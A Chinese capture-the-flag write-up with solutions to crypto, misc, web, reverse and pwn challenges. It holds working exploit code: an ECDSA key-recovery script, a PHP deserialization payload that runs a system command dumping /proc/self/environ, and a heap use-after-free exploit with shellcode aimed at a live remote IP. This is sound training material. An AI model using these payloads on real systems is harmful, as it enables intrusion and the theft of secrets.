霍雅
2025春秋杯夏季赛 huoya wp
crypto
eccccc
- 漏洞利用:ECDSA中临时密钥k的更新规则为二次函数:
knext=(7k2+3k+11)modn
这使我们可以建立二次方程求解私钥d。 正确求解:
- 第一个签名:k=a1+b1dmodn
- 第二个签名:knext=a2+b2dmodn
- 代入关系:a2+b2d=7(a1+b1d)2+3(a1+b1d)+11modn
- 展开后得到关于d的二次方程,正确求解即可
填充处理:解密后使用
unpad()
正确处理PKCS#7填充,并验证flag格式。from hashlib import sha256 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad from sage.all import * import binascii # ======== 参数设置 ======== # 椭圆曲线阶 n (secp256k1标准) n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 # 签名数据 m1 = b'32748923ur8934u893ygf893h34t3453453' m2 = b'ehfw9h8r039u82678ifjewf9024r2323423' r1 = 18507930132802310344248699822628576170242868593944128167302942018134209256936 s1 = 23965013559564325260453725916491832279556345092147805659950905735422363429946 r2 = 61645219796227967861807301237829197706412124807702206247291322591426944615554 s2 = 84283844402102709520391794221564573160907887711307574424747605446691209453247 # 密文 (转换为十六进制字符串) ciphertext_hex = "a713d56a102ac904da8baa66deaedcdbb754cd8bc94bf4b45e708a641b53ef92af03e9c20c8c8383f9c6c709f99c709d" ciphertext = binascii.unhexlify(ciphertext_hex) # ======== 计算消息哈希 ======== h1 = int(sha256(m1).hexdigest(), 16) h2 = int(sha256(m2).hexdigest(), 16) print(f"h1 = {h1}\nh2 = {h2}\n") # ======== 计算辅助变量 ======== t1 = pow(s1, -1, n) t2 = pow(s2, -1, n) a1 = (t1 * h1) % n b1 = (t1 * r1) % n a2 = (t2 * h2) % n b2 = (t2 * r2) % n print(f"a1 = {a1}\nb1 = {b1}\na2 = {a2}\nb2 = {b2}\n") # ======== 构建二次方程系数 ======== A_val = (7 * b1 * b1) % n B_val = (14 * a1 * b1 + 3 * b1 - b2) % n C_val = (7 * a1 * a1 + 3 * a1 + 11 - a2) % n print(f"A = {A_val}\nB = {B_val}\nC = {C_val}\n") # ======== 计算判别式 ======== delta = (B_val * B_val - 4 * A_val * C_val) % n print(f"判别式 delta = {delta}") print(f"Legendre 符号: {kronecker(delta, n)} (1 表示是二次剩余)\n") # ======== 解二次方程 ======== if kronecker(delta, n) == 1: # 在有限域中计算平方根 R = Mod(delta, n).sqrt() inv_2A = pow(2 * A_val, -1, n) d1 = ((-B_val + R) * inv_2A) % n d2 = ((-B_val - R) * inv_2A) % n candidates = [d1, d2] print(f"候选私钥 1: {d1}") print(f"候选私钥 2: {d2}\n") # ======== 尝试解密 ======== for d in candidates: # 生成AES密钥 key = sha256(str(d).encode()).digest() # AES解密 cipher = AES.new(key, AES.MODE_ECB) decrypted = cipher.decrypt(ciphertext) # 打印解密结果用于调试 hex_str = decrypted.hex() printable = ''.join([c if 32 <= ord(c) < 127 else '.' for c in decrypted.decode('latin1', 'ignore')]) print(f"使用 d={d} 解密结果 (十六进制): {hex_str}") print(f"可打印字符: {printable}") try: # 去除填充并验证flag格式 flag = unpad(decrypted, 16) if flag.startswith(b'flag{') and flag.endswith(b'}'): print("\n" + "="*50) print(f"成功! 私钥 d = {d}") print(f"Flag: {flag.decode()}") print("="*50) break except Exception as e: print(f"填充错误: {e}\n") continue else: print("两个候选私钥均未解密出正确的flag格式") else: print("判别式不是模n的二次剩余")
d=65886643197056977931599838665910355634151555255637338202057837205754054794143
misc
e_misc
让ai写个hex转asm的脚本
import os
def parse_intel_hex_to_bin(hex_string, output_filename="output.bin"):
"""
将 Intel HEX 字符串解析并保存为二进制文件。
:param hex_string: Intel HEX 格式的多行字符串
:param output_filename: 保存的二进制文件名(相对路径)
:return: 输出文件路径
""" from binascii import unhexlify
memory = {}
lines = hex_string.strip().splitlines()
base_address = 0
for line in lines:
if not line.startswith(":"):
continue
byte_count = int(line[1:3], 16)
address = int(line[3:7], 16)
record_type = int(line[7:9], 16)
data = line[9:9 + byte_count * 2]
if record_type == 0x00: # 数据记录
for i in range(byte_count):
memory[base_address + address + i] = int(data[i * 2:i * 2 + 2], 16)
elif record_type == 0x02: # 扩展段地址记录
base_address = int(data, 16) << 4
elif record_type == 0x01: # 文件结束
break
if not memory:
raise ValueError("没有解析到任何数据,请检查 HEX 格式。")
# 生成 BIN 数据
start_addr = min(memory.keys())
end_addr = max(memory.keys()) + 1
bin_data = bytes(memory.get(addr, 0xFF) for addr in range(start_addr, end_addr))
# 保存到当前脚本目录
script_dir = os.path.dirname(os.path.abspath(__file__))
bin_path = os.path.join(script_dir, output_filename)
with open(bin_path, "wb") as f:
f.write(bin_data)
return bin_path
if __name__ == "__main__":
# 在这里粘贴你的 HEX 数据
hex_data = """:030000000208896A
:0C088900787FE4F6D8FD758109020800B4
:100878004335315F31735F566572795F456133790E
:01088800006F
:0B0839008F807F057E00120844D2B2C1
:10084400E4FDFCC3ED9FEC9E5015E4FBFA0BBB00EA
:0F085400010AEB647B4A70F50DBD00010C80E4D6
:010863002272
:0A089500C2B2C2B1120839C2B22289
:0A089F00C2B2D2B1120839C2B2226F
:100864007F381208957F0C1208957F061208957F31
:0408740001020895E0
:100800001208647FC0120895E4F508F5097478258C
:1008100009F58274083508F583E493FF12089F7F79
:10082000057E001208440509E50970020508C39415
:0908300010E508940040D680FE9A
:00000001FF"""
output_path = parse_intel_hex_to_bin(hex_data)
print(f"二进制文件已生成:{output_path}")
010打开发现可见字符
加上flag即为flag{C51_1s_Very_Ea3y}
web
ez_pop
源码一步到位到class_B, Class_C __destruct
调用了echo,能触发Class_A __toString
,Class_A 调用了 $this->s->$p 直到class_B。
接着就是下面的throw 抛错的问题,网上有绕过教程,是利用array(obj,null) 序列化的对象,把数组null的i:1 改成i:0 即可绕throw方法。
<?php
error_reporting(0);
highlight_file(__FILE__);
class class_A
{
public $s;
public $a;
public function __toString()
{
echo "2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}
class class_B
{
public $c;
public $d;
function is_method($input)
{
if (strpos($input, '::') === false) {
return false;
}
[$class, $method] = explode('::', $input, 2);
if (!class_exists($class, false)) {
return false;
}
if (!method_exists($class, $method)) {
return false;
}
try {
$refMethod = new ReflectionMethod($class, $method);
return $refMethod->isInternal();
} catch (ReflectionException $e) {
return false;
}
}
function is_class($input)
{
if (strpos($input, '::') !== false) {
return $this->is_method($input);
}
if (!class_exists($input, false)) {
return false;
}
try {
return (new ReflectionClass($input))->isInternal();
} catch (ReflectionException $e) {
return false;
}
}
public function __get($name)
{
echo "2 B <br>";
$a = $_POST['a'];
$b = $_POST;
$c = $this->c;
$d = $this->d;
if (isset($b['a'])) {
unset($b['a']);
}
if ($this->is_class($a)) {
echo 'inin';
call_user_func($a, $b)($c)($d);
} else {
die("你真该请教一下oSthinggg哥哥了");
}
}
}
class class_C
{
public $c;
public function __destruct()
{
echo "2 C <br>";
echo $this->c;
}
}
从官网上找了一个有意思的东西
Closure::fromCallable
(PHP 7 >= 7.1.0)
Closure::fromCallable — 将可调用对象转换为闭包
描述 ¶
public static Closure::fromCallable(callable $callback):闭包
使用当前作用域从给定的回调中创建并返回一个新的匿名函数。此方法检查回调在当前范围内是否可调用,如果不可调用,则抛出 TypeError。
注意:
从 PHP 8.1.0 开始,First class callable syntax 与此方法具有相同的语义。
这个代码可以直接返回一个system函数对象,能返回他的闭包对象。
同时这个方法名称是Closure::fromCallable
即绕过is_class的::和is_method的判断
接着就是他$b
传递的是post,但是不用在意a,因为unset了,$post数组可以按照php数组格式去写,得到的效果和[a,b]
是一样的。
<?php
$cl1 = Closure::fromCallable("system");
var_dump($cl1);
所以payload:
get传递`?un=a:2:{i:0;O:7:"class_C":1:{s:1:"c";O:7:"class_A":2:{s:1:"s";O:7:"class_B":2:{s:1:"c";s:6:"system";s:1:"d";s:34:"cat /proc/self/environ > huoya.txt";}s:1:"a";s:3:"asd";}}i:0;N;}
`
post 传递:0=Closure&1=fromCallable&a=Closure%3A%3AfromCallable即可得到flag
reverse
pypy
审计代码发现需要
python3.8.0和Windows环境下运行
然后还有反调试之类的东西
还要确定环境一样,才能得出一样的flag
所以考虑附加调试
第一个想到的就是ce
先用3.8版本的python跑起来
搜索flag字符串,然后拉下来改长度
pwn
ezheap
没有去除符号表的菜单题,开了沙箱,第二个函数会打印函数指针
del函数有uaf漏洞
有一个check函数,里面是一个验证机制,通过则有gift函数
验证通过给一个可以执行shellcode的函数
那么申请堆块使得buff的指针内容和deadbeef相同,验证绕过后正常的orw都可以打
exp:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
# conn = process('./ezheap')
conn = remote('47.94.196.80', 26674)
binfile = ELF('./ezheap')
send_raw = lambda x : conn.send(x)
send_after = lambda a, b : conn.sendafter(a, b)
send_line = lambda x : conn.sendline(x)
send_line_af = lambda a, b : conn.sendlineafter(a, b)
recv_n = lambda n : conn.recv(n)
recv_u = lambda x : conn.recvuntil(x)
go_interact = lambda : conn.interactive()
get_u32 = lambda d : u32(d.ljust(4, b'\x00'))
get_u64 = lambda d : u64(d.ljust(8, b'\x00'))
hex2int = lambda d : int(d, 16)
log_val = lambda k, v : log.success(f'{k} = {v:#x}')
log_addr = lambda tag, val : log.success(f'{tag}: {hex(val)}')
attach_dbg = lambda : gdb.attach(conn)
def leak_base():
send_after('ur name:\n', '/bin/sh\n')
send_after('input passwd:\n', '/flag\0')
recv_u('anybody u want:-)\n')
return hex2int(recv_n(14)) - 0x202040
def chunk_create(index, length, data):
send_line_af('5.exit\n', '1')
send_line_af('which message do u want to send:\n', str(index))
send_line_af('how much to use:\n', str(length))
send_after('plz input message:', data)
def chunk_delete(index):
send_line_af('5.exit\n', '2')
send_line_af('which message to delet:\n', str(index))
def chunk_edit(index, content):
send_line_af('5.exit\n', '3')
send_line_af('which message to edit:\n', str(index))
send_after('plz input message:\n', content)
def chunk_show(index):
send_line_af('5.exit\n', '4')
send_line_af('which message to show:\n', str(index))
def exploit(payload):
send_line_af('5.exit\n', '123')
send_after('what say to me?\n', payload)
base_addr = leak_base()
log_addr('base_addr', base_addr)
addr_flag = base_addr + 0x202040
addr_buf = base_addr + 0x202048
chunk_create(0, 0x18, b'a'*8)
chunk_create(1, 0x18, b'a'*8)
chunk_delete(1)
chunk_delete(0)
chunk_edit(0, p64(addr_buf))
chunk_create(2, 0x18, b'b'*8)
chunk_create(3, 0x18, b'deadbeef')
payload = asm(f'''
mov rdi, -100
mov rsi, {addr_flag}
xor rdx, rdx
xor r10, r10
mov eax, 0x101
syscall
push 1
pop rdi
mov rsi, rax
xor rdx, rdx
mov r10, 0x100
push 40
pop rax
syscall
''')
exploit(payload)
go_interact()